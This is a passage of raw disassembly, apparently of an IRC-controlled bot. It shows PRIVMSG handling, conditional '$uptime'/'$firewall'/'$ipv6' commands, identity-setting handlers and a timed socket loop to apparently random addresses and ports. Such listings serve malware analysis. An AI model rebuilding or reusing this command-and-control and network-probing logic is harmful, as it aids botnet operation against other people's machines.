		mov	eax, [ebp+arg_14]
		push	dword ptr [eax+4]
		call	sub_416B40	; strlen
		pop	ecx
		cmp	eax, 0Ah
		ja	short loc_40C20C


loc_40C207:				; CODE XREF: sub_40A9CF+1825j
		jmp	loc_40C912
; ---------------------------------------------------------------------------


loc_40C20C:				; CODE XREF: sub_40A9CF+1836j
		mov	eax, [ebp+arg_14]
		push	dword ptr [eax+4]
		call	sub_416B40	; strlen
		pop	ecx
		mov	[ebp+var_638C],	eax
		push	4
		push	offset a2002	; "2002"
		mov	eax, [ebp+arg_14]
		push	dword ptr [eax+4]
		call	sub_416DEA	; memcmp
		add	esp, 0Ch
		test	eax, eax
		jnz	loc_40C35B
		mov	eax, [ebp+arg_14]
		mov	eax, [eax+4]
		mov	ecx, [ebp+var_638C]
		mov	al, [eax+ecx-9]
		mov	[ebp+var_6398],	al
		mov	eax, [ebp+arg_14]
		mov	eax, [eax+4]
		mov	ecx, [ebp+var_638C]
		mov	al, [eax+ecx-8]
		mov	[ebp+var_6397],	al
		and	[ebp+var_6396],	0
		mov	eax, [ebp+arg_14]
		mov	eax, [eax+4]
		mov	ecx, [ebp+var_638C]
		mov	al, [eax+ecx-7]
		mov	[ebp+var_6395],	al
		mov	eax, [ebp+arg_14]
		mov	eax, [eax+4]
		mov	ecx, [ebp+var_638C]
		mov	al, [eax+ecx-6]
		mov	[ebp+var_6394],	al
		and	[ebp+var_6393],	0
		mov	eax, [ebp+arg_14]
		mov	eax, [eax+4]
		mov	ecx, [ebp+var_638C]
		mov	al, [eax+ecx-4]
		mov	[ebp+var_6392],	al
		mov	eax, [ebp+arg_14]
		mov	eax, [eax+4]
		mov	ecx, [ebp+var_638C]
		mov	al, [eax+ecx-3]
		mov	[ebp+var_6391],	al
		and	[ebp+var_6390],	0
		mov	eax, [ebp+arg_14]
		mov	eax, [eax+4]
		mov	ecx, [ebp+var_638C]
		mov	al, [eax+ecx-2]
		mov	[ebp+var_638F],	al
		mov	eax, [ebp+arg_14]
		mov	eax, [eax+4]
		mov	ecx, [ebp+var_638C]
		mov	al, [eax+ecx-1]
		mov	[ebp+var_638E],	al
		and	[ebp+var_638D],	0
		lea	eax, [ebp+var_638F]
		push	eax
		call	sub_40A8AD
		pop	ecx
		push	eax
		lea	eax, [ebp+var_6392]
		push	eax
		call	sub_40A8AD
		pop	ecx
		push	eax
		lea	eax, [ebp+var_6395]
		push	eax
		call	sub_40A8AD
		pop	ecx
		push	eax
		lea	eax, [ebp+var_6398]
		push	eax
		call	sub_40A8AD
		pop	ecx
		push	eax
		mov	eax, [ebp+arg_14]
		push	dword ptr [eax+4]
		push	offset dword_419860
		lea	eax, [ebp+var_1A4]
		push	eax
		call	sub_40D53F
		add	esp, 1Ch
		jmp	short loc_40C375
; ---------------------------------------------------------------------------


loc_40C35B:				; CODE XREF: sub_40A9CF+1866j
		mov	eax, [ebp+arg_14]
		push	dword ptr [eax+4]
		push	offset dword_419844
		lea	eax, [ebp+var_1A4]
		push	eax
		call	sub_40D53F
		add	esp, 0Ch


loc_40C375:				; CODE XREF: sub_40A9CF+198Aj
		jmp	loc_40C912
; ---------------------------------------------------------------------------


loc_40C37A:				; CODE XREF: sub_40A9CF+1818j
		mov	eax, [ebp+var_1A8]
		sub	eax, dword_419838
		neg	eax
		sbb	eax, eax
		inc	eax
		test	eax, eax
		jz	loc_40C4B0
		call	sub_416B64	; clock
		mov	[ebp+var_639C],	eax
		and	[ebp+var_63A4],	0
		and	[ebp+var_63A0],	0
		push	10h
		push	0
		lea	eax, [ebp+var_63B4]
		push	eax
		call	sub_416B6A	; memset
		add	esp, 0Ch
		mov	[ebp+var_63B4],	2


loc_40C3C8:				; CODE XREF: sub_40A9CF+1A95j
		call	sub_416B64	; clock
		sub	eax, [ebp+var_639C]
		cmp	eax, 3E8h
		jnb	loc_40C469
		push	0FFFFh
		push	1
		call	sub_4103F5
		pop	ecx
		pop	ecx
		push	eax
		call	dword_417238	; htons
		mov	[ebp+var_63B2],	ax
		push	4
		push	0
		call	sub_4040E8
		pop	ecx
		pop	ecx
		mov	[ebp+var_63B0],	eax
		push	0
		push	2
		push	2
		call	dword_417218	; socket
		mov	[ebp+var_63B8],	eax
		push	10h
		lea	eax, [ebp+var_63B4]
		push	eax
		push	[ebp+var_63B8]
		call	dword_4171F4	; connect
		push	0
		push	1
		lea	eax, [ebp+var_63A0]
		push	eax
		push	[ebp+var_63B8]
		call	dword_41720C	; send
		push	[ebp+var_63B8]
		call	dword_417230	; closesocket
		mov	eax, [ebp+var_63A4]
		add	eax, 2Bh
		mov	[ebp+var_63A4],	eax
		jmp	loc_40C3C8
; ---------------------------------------------------------------------------


loc_40C469:				; CODE XREF: sub_40A9CF+1A09j
		cmp	[ebp+var_63A4],	400h
		jbe	short loc_40C483
		mov	eax, [ebp+var_63A4]
		mov	[ebp+var_6408],	eax
		jmp	short loc_40C48D
; ---------------------------------------------------------------------------


loc_40C483:				; CODE XREF: sub_40A9CF+1AA4j
		mov	[ebp+var_6408],	400h


loc_40C48D:				; CODE XREF: sub_40A9CF+1AB2j
		mov	eax, [ebp+var_6408]
		shr	eax, 0Ah
		push	eax
		push	offset dword_419820
		lea	eax, [ebp+var_1A4]
		push	eax
		call	sub_40D53F
		add	esp, 0Ch
		jmp	loc_40C912
; ---------------------------------------------------------------------------


loc_40C4B0:				; CODE XREF: sub_40A9CF+19BEj
		mov	eax, [ebp+var_1A8]
		sub	eax, dword_419818
		neg	eax
		sbb	eax, eax
		inc	eax
		test	eax, eax
		jnz	short loc_40C4DA
		mov	eax, [ebp+var_1A8]
		sub	eax, dword_41980C
		neg	eax
		sbb	eax, eax
		inc	eax
		test	eax, eax
		jz	short loc_40C4FF


loc_40C4DA:				; CODE XREF: sub_40A9CF+1AF4j
		push	offset dword_41DD10
		push	3B7h
		push	0
		push	offset dword_4197E8
		lea	eax, [ebp+var_1A4]
		push	eax
		call	sub_40D53F
		add	esp, 14h
		jmp	loc_40C912
; ---------------------------------------------------------------------------


loc_40C4FF:				; CODE XREF: sub_40A9CF+1B09j
		mov	eax, [ebp+var_1A8]
		sub	eax, dword_4197DC
		neg	eax
		sbb	eax, eax
		inc	eax
		test	eax, eax
		jz	short loc_40C53A
		mov	eax, [ebp+arg_14]
		push	dword ptr [eax+0Ch]
		mov	eax, [ebp+arg_14]
		push	dword ptr [eax+8]
		mov	eax, [ebp+arg_14]
		push	dword ptr [eax+4]
		lea	eax, [ebp+var_1A4]
		push	eax
		call	sub_4142BF
		add	esp, 10h
		jmp	loc_40C912
; ---------------------------------------------------------------------------


loc_40C53A:				; CODE XREF: sub_40A9CF+1B43j
		mov	eax, [ebp+var_1A8]
		sub	eax, dword_4197D4
		neg	eax
		sbb	eax, eax
		inc	eax
		test	eax, eax
		jnz	short loc_40C564
		mov	eax, [ebp+var_1A8]
		sub	eax, dword_4197C8
		neg	eax
		sbb	eax, eax
		inc	eax
		test	eax, eax
		jz	short loc_40C576


loc_40C564:				; CODE XREF: sub_40A9CF+1B7Ej
		lea	eax, [ebp+var_1A4]
		push	eax
		call	sub_4087C4
		pop	ecx
		jmp	loc_40C912
; ---------------------------------------------------------------------------


loc_40C576:				; CODE XREF: sub_40A9CF+1B93j
		mov	eax, [ebp+var_1A8]
		sub	eax, dword_4197C0
		neg	eax
		sbb	eax, eax
		inc	eax
		test	eax, eax
		jnz	short loc_40C5A0
		mov	eax, [ebp+var_1A8]
		sub	eax, dword_4197B4
		neg	eax
		sbb	eax, eax
		inc	eax
		test	eax, eax
		jz	short loc_40C5B2


loc_40C5A0:				; CODE XREF: sub_40A9CF+1BBAj
		lea	eax, [ebp+var_1A4]
		push	eax
		call	sub_408E4A
		pop	ecx
		jmp	loc_40C912
; ---------------------------------------------------------------------------


loc_40C5B2:				; CODE XREF: sub_40A9CF+1BCFj
		mov	eax, [ebp+var_1A8]
		sub	eax, dword_4197A4
		neg	eax
		sbb	eax, eax
		inc	eax
		test	eax, eax
		jz	short loc_40C614
		push	1
		push	offset a9252	; "9252"
		call	sub_4046BC
		pop	ecx
		pop	ecx
		mov	[ebp+var_63BC],	eax
		push	[ebp+var_63BC]
		push	offset dword_418B5C
		lea	eax, [ebp+var_1A4]
		push	eax
		call	sub_40D53F
		add	esp, 0Ch
		cmp	[ebp+var_63BC],	0
		jnz	short loc_40C603
		jmp	loc_40C912
; ---------------------------------------------------------------------------


loc_40C603:				; CODE XREF: sub_40A9CF+1C2Dj
		push	[ebp+var_63BC]
		call	sub_404CBB
		pop	ecx
		jmp	loc_40C912
; ---------------------------------------------------------------------------


loc_40C614:				; CODE XREF: sub_40A9CF+1BF6j
		mov	eax, [ebp+var_1A8]
		sub	eax, dword_419790
		neg	eax
		sbb	eax, eax
		inc	eax
		test	eax, eax
		jz	short loc_40C63B
		lea	eax, [ebp+var_1A4]
		push	eax
		call	sub_4091E2
		pop	ecx
		jmp	loc_40C912
; ---------------------------------------------------------------------------


loc_40C63B:				; CODE XREF: sub_40A9CF+1C58j
		mov	eax, [ebp+var_1A8]
		sub	eax, dword_419788
		neg	eax
		sbb	eax, eax
		inc	eax
		test	eax, eax
		jnz	short loc_40C669
		mov	eax, [ebp+var_1A8]
		sub	eax, dword_41977C
		neg	eax
		sbb	eax, eax
		inc	eax
		test	eax, eax
		jz	loc_40C896


loc_40C669:				; CODE XREF: sub_40A9CF+1C7Fj
		mov	eax, [ebp+arg_14]
		cmp	dword ptr [eax+4], 0
		jz	short loc_40C686
		mov	eax, [ebp+arg_14]
		push	dword ptr [eax+4]
		call	sub_416B9C	; atoi
		pop	ecx
		mov	[ebp+var_640C],	eax
		jmp	short loc_40C68D
; ---------------------------------------------------------------------------


loc_40C686:				; CODE XREF: sub_40A9CF+1CA1j
		and	[ebp+var_640C],	0


loc_40C68D:				; CODE XREF: sub_40A9CF+1CB5j
		mov	eax, [ebp+var_640C]
		mov	[ebp+var_63C8],	eax
		call	sub_4092A4
		mov	[ebp+var_63E0],	eax
		mov	eax, [ebp+var_63E0]
		xor	edx, edx
		mov	ecx, 15180h
		div	ecx
		mov	[ebp+var_63D8],	eax
		mov	eax, [ebp+var_63E0]
		xor	edx, edx
		mov	ecx, 15180h
		div	ecx
		mov	eax, edx
		xor	edx, edx
		mov	ecx, 0E10h
		div	ecx
		mov	[ebp+var_63C4],	eax
		mov	eax, [ebp+var_63E0]
		xor	edx, edx
		mov	ecx, 15180h
		div	ecx
		mov	eax, edx
		xor	edx, edx
		mov	ecx, 0E10h
		div	ecx
		mov	eax, edx
		xor	edx, edx
		push	3Ch
		pop	ecx
		div	ecx
		mov	[ebp+var_63D4],	eax
		mov	eax, [ebp+var_63D8]
		cmp	eax, [ebp+var_63C8]
		jnb	short loc_40C715
		jmp	loc_40C912
; ---------------------------------------------------------------------------


loc_40C715:				; CODE XREF: sub_40A9CF+1D3Fj
		call	sub_409318
		mov	[ebp+var_63C0],	eax
		mov	eax, [ebp+var_63C0]
		xor	edx, edx
		mov	ecx, 15180h
		div	ecx
		mov	[ebp+var_63CC],	eax
		mov	eax, [ebp+var_63C0]
		xor	edx, edx
		mov	ecx, 15180h
		div	ecx
		mov	eax, edx
		xor	edx, edx
		mov	ecx, 0E10h
		div	ecx
		mov	[ebp+var_63DC],	eax
		mov	eax, [ebp+var_63C0]
		xor	edx, edx
		mov	ecx, 15180h
		div	ecx
		mov	eax, edx
		xor	edx, edx
		mov	ecx, 0E10h
		div	ecx
		mov	eax, edx
		xor	edx, edx
		push	3Ch
		pop	ecx
		div	ecx
		mov	[ebp+var_63D0],	eax
		cmp	[ebp+var_63D0],	1
		jnz	short loc_40C793
		mov	[ebp+var_6410],	offset byte_41DF10
		jmp	short loc_40C79D
; ---------------------------------------------------------------------------


loc_40C793:				; CODE XREF: sub_40A9CF+1DB6j
		mov	[ebp+var_6410],	offset dword_4191F4


loc_40C79D:				; CODE XREF: sub_40A9CF+1DC2j
		cmp	[ebp+var_63DC],	1
		jnz	short loc_40C7B2
		mov	[ebp+var_6414],	offset byte_41DF10
		jmp	short loc_40C7BC
; ---------------------------------------------------------------------------


loc_40C7B2:				; CODE XREF: sub_40A9CF+1DD5j
		mov	[ebp+var_6414],	offset dword_4191F4


loc_40C7BC:				; CODE XREF: sub_40A9CF+1DE1j
		cmp	[ebp+var_63CC],	1
		jnz	short loc_40C7D1
		mov	[ebp+var_6418],	offset byte_41DF10
		jmp	short loc_40C7DB
; ---------------------------------------------------------------------------


loc_40C7D1:				; CODE XREF: sub_40A9CF+1DF4j
		mov	[ebp+var_6418],	offset dword_4191F4


loc_40C7DB:				; CODE XREF: sub_40A9CF+1E00j
		cmp	[ebp+var_63D4],	1
		jnz	short loc_40C7F0
		mov	[ebp+var_641C],	offset byte_41DF10
		jmp	short loc_40C7FA
; ---------------------------------------------------------------------------


loc_40C7F0:				; CODE XREF: sub_40A9CF+1E13j
		mov	[ebp+var_641C],	offset dword_4191F4


loc_40C7FA:				; CODE XREF: sub_40A9CF+1E1Fj
		cmp	[ebp+var_63C4],	1
		jnz	short loc_40C80F
		mov	[ebp+var_6420],	offset byte_41DF10
		jmp	short loc_40C819
; ---------------------------------------------------------------------------


loc_40C80F:				; CODE XREF: sub_40A9CF+1E32j
		mov	[ebp+var_6420],	offset dword_4191F4


loc_40C819:				; CODE XREF: sub_40A9CF+1E3Ej
		cmp	[ebp+var_63D8],	1
		jnz	short loc_40C82E
		mov	[ebp+var_6424],	offset byte_41DF10
		jmp	short loc_40C838
; ---------------------------------------------------------------------------


loc_40C82E:				; CODE XREF: sub_40A9CF+1E51j
		mov	[ebp+var_6424],	offset dword_4191F4


loc_40C838:				; CODE XREF: sub_40A9CF+1E5Dj
		push	[ebp+var_6410]
		push	[ebp+var_63D0]
		push	[ebp+var_6414]
		push	[ebp+var_63DC]
		push	[ebp+var_6418]
		push	[ebp+var_63CC]
		push	[ebp+var_641C]
		push	[ebp+var_63D4]
		push	[ebp+var_6420]
		push	[ebp+var_63C4]
		push	[ebp+var_6424]
		push	[ebp+var_63D8]
		push	offset dword_419708
		lea	eax, [ebp+var_1A4]
		push	eax
		call	sub_40D53F
		add	esp, 38h
		jmp	short loc_40C912
; ---------------------------------------------------------------------------


loc_40C896:				; CODE XREF: sub_40A9CF+1C94j
		mov	eax, [ebp+var_1A8]
		sub	eax, dword_419700
		neg	eax
		sbb	eax, eax
		inc	eax
		test	eax, eax
		jz	short loc_40C912
		mov	eax, [ebp+arg_14]
		cmp	dword ptr [eax+4], 0
		jz	short loc_40C8BD
		mov	eax, [ebp+arg_14]
		cmp	dword ptr [eax+8], 0
		jnz	short loc_40C8BF


loc_40C8BD:				; CODE XREF: sub_40A9CF+1EE3j
		jmp	short loc_40C912
; ---------------------------------------------------------------------------


loc_40C8BF:				; CODE XREF: sub_40A9CF+1EECj
		push	2
		push	offset aId	; "id"
		mov	eax, [ebp+arg_14]
		push	dword ptr [eax+4]
		call	sub_416F80	; _strnicmp
		add	esp, 0Ch
		test	eax, eax
		jnz	short loc_40C8EA
		mov	eax, [ebp+arg_14]
		push	dword ptr [eax+8]
		push	offset byte_41EFA8
		call	sub_416B3A	; _mbscpy
		pop	ecx
		pop	ecx


loc_40C8EA:				; CODE XREF: sub_40A9CF+1F07j
		push	offset aUsername ; "username"
		mov	eax, [ebp+arg_14]
		push	dword ptr [eax+4]
		call	sub_416F74	; _strcmpi
		pop	ecx
		pop	ecx
		test	eax, eax
		jnz	short loc_40C912
		mov	eax, [ebp+arg_14]
		push	dword ptr [eax+8]
		push	offset byte_41F128
		call	sub_416B3A	; _mbscpy
		pop	ecx
		pop	ecx


loc_40C912:				; CODE XREF: sub_40A9CF+85j
					; sub_40A9CF+D8j ...
		pop	edi
		pop	esi
		leave
		retn
sub_40A9CF	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40C916	proc near		; CODE XREF: sub_40CA29+47Fp

arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp


loc_40C919:				; CODE XREF: sub_40C916+1Fj
		mov	eax, [ebp+arg_0]
		movsx	eax, byte ptr [eax]
		cmp	eax, 20h
		jnz	short loc_40C937
		mov	eax, [ebp+arg_0]
		movsx	eax, byte ptr [eax]
		test	eax, eax
		jz	short loc_40C937
		mov	eax, [ebp+arg_0]
		inc	eax
		mov	[ebp+arg_0], eax
		jmp	short loc_40C919
; ---------------------------------------------------------------------------


loc_40C937:				; CODE XREF: sub_40C916+Cj
					; sub_40C916+16j
		mov	eax, [ebp+arg_0]
		pop	ebp
		retn
sub_40C916	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40C93C	proc near		; DATA XREF: sub_40CEB0+66o

var_534		= dword	ptr -534h
var_530		= byte ptr -530h
var_38F		= byte ptr -38Fh
var_20C		= dword	ptr -20Ch
var_208		= byte ptr -208h
var_204		= dword	ptr -204h
var_200		= byte ptr -200h
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 534h
		push	327h
		push	[ebp+arg_0]
		lea	eax, [ebp+var_534]
		push	eax
		call	sub_416B52	; memcpy
		add	esp, 0Ch
		push	[ebp+arg_0]
		call	sub_416B4C	; free
		pop	ecx
		lea	eax, [ebp+var_208]
		push	eax
		push	offset asc_419F48 ; ";"
		lea	eax, [ebp+var_530]
		push	eax
		call	sub_40813C
		add	esp, 0Ch
		mov	[ebp+var_204], eax
		and	[ebp+var_20C], 0


loc_40C98D:				; CODE XREF: sub_40C93C+D6j
		cmp	[ebp+var_204], 0
		jnz	short loc_40C998
		jmp	short loc_40CA17
; ---------------------------------------------------------------------------


loc_40C998:				; CODE XREF: sub_40C93C+58j
					; sub_40C93C+79j
		mov	eax, [ebp+var_204]
		movsx	eax, byte ptr [eax]
		cmp	eax, 20h
		jz	short loc_40C9A8
		jmp	short loc_40C9B7
; ---------------------------------------------------------------------------


loc_40C9A8:				; CODE XREF: sub_40C93C+68j
		mov	eax, [ebp+var_204]
		inc	eax
		mov	[ebp+var_204], eax
		jmp	short loc_40C998
; ---------------------------------------------------------------------------


loc_40C9B7:				; CODE XREF: sub_40C93C+6Aj
		push	[ebp+var_204]
		lea	eax, [ebp+var_38F]
		push	eax
		push	offset aLinkLink@linkP ; "link!link@link PRIVMSG %s :%s"
		push	200h
		lea	eax, [ebp+var_200]
		push	eax
		call	sub_416BAE	; _snprintf
		add	esp, 14h
		lea	eax, [ebp+var_200]
		push	eax
		call	sub_40E618
		pop	ecx
		lea	eax, [ebp+var_208]
		push	eax
		push	offset asc_419F48 ; ";"
		push	0
		call	sub_40813C
		add	esp, 0Ch
		mov	[ebp+var_20C], eax
		mov	eax, [ebp+var_20C]
		mov	[ebp+var_204], eax
		jmp	loc_40C98D
; ---------------------------------------------------------------------------


loc_40CA17:				; CODE XREF: sub_40C93C+5Aj
		push	[ebp+var_534]
		call	sub_409763
		pop	ecx
		xor	eax, eax
		leave
		retn	4
sub_40C93C	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40CA29	proc near		; CODE XREF: sub_40CEB0+8p

var_1EC		= dword	ptr -1ECh
var_1E8		= byte ptr -1E8h
var_1C8		= byte ptr -1C8h
var_1A8		= dword	ptr -1A8h
var_1A4		= dword	ptr -1A4h
var_1A0		= byte ptr -1A0h
var_190		= byte ptr -190h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= byte ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 1ECh
		cmp	[ebp+arg_0], 0
		jz	short loc_40CA43
		mov	eax, [ebp+arg_0]
		movsx	eax, byte ptr [eax]
		cmp	eax, 28h
		jz	short loc_40CA4A


loc_40CA43:				; CODE XREF: sub_40CA29+Dj
		xor	eax, eax
		jmp	locret_40CEAE
; ---------------------------------------------------------------------------


loc_40CA4A:				; CODE XREF: sub_40CA29+18j
		mov	eax, [ebp+arg_0]
		inc	eax
		mov	[ebp+arg_0], eax
		push	offset asc_419FB0 ; ")"
		push	[ebp+arg_0]
		call	sub_416BA8	; strstr
		pop	ecx
		pop	ecx
		mov	[ebp+var_10], eax
		cmp	[ebp+var_10], 0
		jnz	short loc_40CA70
		xor	eax, eax
		jmp	locret_40CEAE
; ---------------------------------------------------------------------------


loc_40CA70:				; CODE XREF: sub_40CA29+3Ej
		mov	eax, [ebp+var_10]
		sub	eax, [ebp+arg_0]
		inc	eax
		cmp	eax, 180h
		jbe	short loc_40CA8A
		mov	[ebp+var_1EC], 180h
		jmp	short loc_40CA97
; ---------------------------------------------------------------------------


loc_40CA8A:				; CODE XREF: sub_40CA29+53j
		mov	eax, [ebp+var_10]
		sub	eax, [ebp+arg_0]
		inc	eax
		mov	[ebp+var_1EC], eax


loc_40CA97:				; CODE XREF: sub_40CA29+5Fj
		push	[ebp+var_1EC]
		push	[ebp+arg_0]
		lea	eax, [ebp+var_190]
		push	eax
		call	sub_407A56
		add	esp, 0Ch
		push	1
		push	1
		lea	eax, [ebp+var_190]
		push	eax
		call	sub_407C2C
		add	esp, 0Ch
		lea	eax, [ebp+var_8]
		push	eax
		push	offset asc_419FAC ; "&&"
		lea	eax, [ebp+var_190]
		push	eax
		call	sub_40813C
		add	esp, 0Ch
		mov	[ebp+var_4], eax
		and	[ebp+var_C], 0


loc_40CAE1:				; CODE XREF: sub_40CA29+475j
		cmp	[ebp+var_4], 0
		jnz	short loc_40CAEC
		jmp	loc_40CEA3
; ---------------------------------------------------------------------------


loc_40CAEC:				; CODE XREF: sub_40CA29+BCj
					; sub_40CA29+D7j
		mov	eax, [ebp+var_4]
		movsx	eax, byte ptr [eax]
		cmp	eax, 20h
		jz	short loc_40CAF9
		jmp	short loc_40CB02
; ---------------------------------------------------------------------------


loc_40CAF9:				; CODE XREF: sub_40CA29+CCj
		mov	eax, [ebp+var_4]
		inc	eax
		mov	[ebp+var_4], eax
		jmp	short loc_40CAEC
; ---------------------------------------------------------------------------


loc_40CB02:				; CODE XREF: sub_40CA29+CEj
		lea	eax, [ebp+var_1E8]
		push	eax
		lea	eax, [ebp+var_1A0]
		push	eax
		lea	eax, [ebp+var_1C8]
		push	eax
		push	offset a32s16s32s ; "%32s %16s %32s"
		push	[ebp+var_4]
		call	sub_416BA2	; sscanf
		add	esp, 14h
		cmp	eax, 3
		jz	short loc_40CB33
		xor	eax, eax
		jmp	locret_40CEAE
; ---------------------------------------------------------------------------


loc_40CB33:				; CODE XREF: sub_40CA29+101j
		lea	eax, [ebp+var_1C8]
		push	eax
		call	sub_416B9C	; atoi
		pop	ecx
		mov	[ebp+var_1A4], eax
		lea	eax, [ebp+var_1E8]
		push	eax
		call	sub_416B9C	; atoi
		pop	ecx
		mov	[ebp+var_1A8], eax
		cmp	[ebp+var_1A4], 0
		jnz	loc_40CC6E
		push	offset dword_418F50
		lea	eax, [ebp+var_1C8]
		push	eax
		call	sub_416F74	; _strcmpi
		pop	ecx
		pop	ecx
		test	eax, eax
		jz	loc_40CC6E
		push	offset aUptime	; "$uptime"
		lea	eax, [ebp+var_1C8]
		push	eax
		call	sub_416F74	; _strcmpi
		pop	ecx
		pop	ecx
		test	eax, eax
		jnz	short loc_40CBB1
		call	sub_4092A4
		xor	edx, edx
		mov	ecx, 15180h
		div	ecx
		mov	[ebp+var_1A4], eax
		jmp	loc_40CC6E
; ---------------------------------------------------------------------------


loc_40CBB1:				; CODE XREF: sub_40CA29+16Dj
		push	offset aVersion	; "$version"
		lea	eax, [ebp+var_1C8]
		push	eax
		call	sub_416F74	; _strcmpi
		pop	ecx
		pop	ecx
		test	eax, eax
		jnz	short loc_40CBD7
		mov	[ebp+var_1A4], 3B7h
		jmp	loc_40CC6E
; ---------------------------------------------------------------------------


loc_40CBD7:				; CODE XREF: sub_40CA29+19Dj
		push	offset aFree	; "$free"
		lea	eax, [ebp+var_1C8]
		push	eax
		call	sub_416F74	; _strcmpi
		pop	ecx
		pop	ecx
		test	eax, eax
		jnz	short loc_40CBFB
		call	sub_408E8E
		mov	[ebp+var_1A4], eax
		jmp	short loc_40CC6E
; ---------------------------------------------------------------------------


loc_40CBFB:				; CODE XREF: sub_40CA29+1C3j
		push	offset aLatency	; "$latency"
		lea	eax, [ebp+var_1C8]
		push	eax
		call	sub_416F74	; _strcmpi
		pop	ecx
		pop	ecx
		test	eax, eax
		jnz	short loc_40CC1F
		call	sub_408887
		mov	[ebp+var_1A4], eax
		jmp	short loc_40CC6E
; ---------------------------------------------------------------------------


loc_40CC1F:				; CODE XREF: sub_40CA29+1E7j
		push	offset aFirewall ; "$firewall"
		lea	eax, [ebp+var_1C8]
		push	eax
		call	sub_416F74	; _strcmpi
		pop	ecx
		pop	ecx
		test	eax, eax
		jnz	short loc_40CC43
		call	sub_404279
		mov	[ebp+var_1A4], eax
		jmp	short loc_40CC6E
; ---------------------------------------------------------------------------


loc_40CC43:				; CODE XREF: sub_40CA29+20Bj
		push	offset aIpv6	; "$ipv6"
		lea	eax, [ebp+var_1C8]
		push	eax
		call	sub_416F74	; _strcmpi
		pop	ecx
		pop	ecx
		test	eax, eax
		jnz	short loc_40CC67
		call	sub_4043E9
		mov	[ebp+var_1A4], eax
		jmp	short loc_40CC6E
; ---------------------------------------------------------------------------


loc_40CC67:				; CODE XREF: sub_40CA29+22Fj
		xor	eax, eax
		jmp	locret_40CEAE
; ---------------------------------------------------------------------------


loc_40CC6E:				; CODE XREF: sub_40CA29+137j
					; sub_40CA29+152j ...
		cmp	[ebp+var_1A8], 0
		jnz	loc_40CD83
		push	offset dword_418F50
		lea	eax, [ebp+var_1E8]
		push	eax
		call	sub_416F74	; _strcmpi
		pop	ecx
		pop	ecx
		test	eax, eax
		jz	loc_40CD83
		push	offset aUptime	; "$uptime"
		lea	eax, [ebp+var_1E8]
		push	eax
		call	sub_416F74	; _strcmpi
		pop	ecx
		pop	ecx
		test	eax, eax
		jnz	short loc_40CCC6
		call	sub_4092A4
		xor	edx, edx
		mov	ecx, 15180h
		div	ecx
		mov	[ebp+var_1A8], eax
		jmp	loc_40CD83
; ---------------------------------------------------------------------------


loc_40CCC6:				; CODE XREF: sub_40CA29+282j
		push	offset aVersion	; "$version"
		lea	eax, [ebp+var_1E8]
		push	eax
		call	sub_416F74	; _strcmpi
		pop	ecx
		pop	ecx
		test	eax, eax
		jnz	short loc_40CCEC
		mov	[ebp+var_1A8], 3B7h
		jmp	loc_40CD83
; ---------------------------------------------------------------------------


loc_40CCEC:				; CODE XREF: sub_40CA29+2B2j
		push	offset aFree	; "$free"
		lea	eax, [ebp+var_1E8]
		push	eax
		call	sub_416F74	; _strcmpi
		pop	ecx
		pop	ecx
		test	eax, eax
		jnz	short loc_40CD10
		call	sub_408E8E
		mov	[ebp+var_1A8], eax
		jmp	short loc_40CD83
; ---------------------------------------------------------------------------


loc_40CD10:				; CODE XREF: sub_40CA29+2D8j
		push	offset aLatency	; "$latency"
		lea	eax, [ebp+var_1E8]
		push	eax
		call	sub_416F74	; _strcmpi
		pop	ecx
		pop	ecx
		test	eax, eax
		jnz	short loc_40CD34
		call	sub_408887
		mov	[ebp+var_1A8], eax
		jmp	short loc_40CD83
; ---------------------------------------------------------------------------


loc_40CD34:				; CODE XREF: sub_40CA29+2FCj
		push	offset aFirewall ; "$firewall"
		lea	eax, [ebp+var_1E8]
		push	eax
		call	sub_416F74	; _strcmpi
		pop	ecx
		pop	ecx
		test	eax, eax
		jnz	short loc_40CD58
		call	sub_404279
		mov	[ebp+var_1A8], eax
		jmp	short loc_40CD83
; ---------------------------------------------------------------------------


loc_40CD58:				; CODE XREF: sub_40CA29+320j
		push	offset aIpv6	; "$ipv6"
		lea	eax, [ebp+var_1E8]
		push	eax
		call	sub_416F74	; _strcmpi
		pop	ecx
		pop	ecx
		test	eax, eax
		jnz	short loc_40CD7C
		call	sub_4043E9
		mov	[ebp+var_1A8], eax
		jmp	short loc_40CD83
; ---------------------------------------------------------------------------


loc_40CD7C:				; CODE XREF: sub_40CA29+344j
		xor	eax, eax
		jmp	locret_40CEAE
; ---------------------------------------------------------------------------


loc_40CD83:				; CODE XREF: sub_40CA29+24Cj
					; sub_40CA29+267j ...
		push	offset asc_419F5C ; "=="
		lea	eax, [ebp+var_1A0]
		push	eax
		call	sub_416F74	; _strcmpi
		pop	ecx
		pop	ecx
		test	eax, eax
		jnz	short loc_40CDAF
		mov	eax, [ebp+var_1A4]
		cmp	eax, [ebp+var_1A8]
		jz	short loc_40CDAF
		xor	eax, eax
		jmp	locret_40CEAE
; ---------------------------------------------------------------------------


loc_40CDAF:				; CODE XREF: sub_40CA29+36Fj
					; sub_40CA29+37Dj
		push	offset asc_419F58 ; "!="
		lea	eax, [ebp+var_1A0]
		push	eax
		call	sub_416F74	; _strcmpi
		pop	ecx
		pop	ecx
		test	eax, eax
		jnz	short loc_40CDDB
		mov	eax, [ebp+var_1A4]
		cmp	eax, [ebp+var_1A8]
		jnz	short loc_40CDDB
		xor	eax, eax
		jmp	locret_40CEAE
; ---------------------------------------------------------------------------


loc_40CDDB:				; CODE XREF: sub_40CA29+39Bj
					; sub_40CA29+3A9j
		push	offset asc_419F54 ; ">"
		lea	eax, [ebp+var_1A0]
		push	eax
		call	sub_416F74	; _strcmpi
		pop	ecx
		pop	ecx
		test	eax, eax
		jnz	short loc_40CE07
		mov	eax, [ebp+var_1A4]
		cmp	eax, [ebp+var_1A8]
		ja	short loc_40CE07
		xor	eax, eax
		jmp	locret_40CEAE
; ---------------------------------------------------------------------------


loc_40CE07:				; CODE XREF: sub_40CA29+3C7j
					; sub_40CA29+3D5j
		push	offset asc_419F50 ; ">="
		lea	eax, [ebp+var_1A0]
		push	eax
		call	sub_416F74	; _strcmpi
		pop	ecx
		pop	ecx
		test	eax, eax
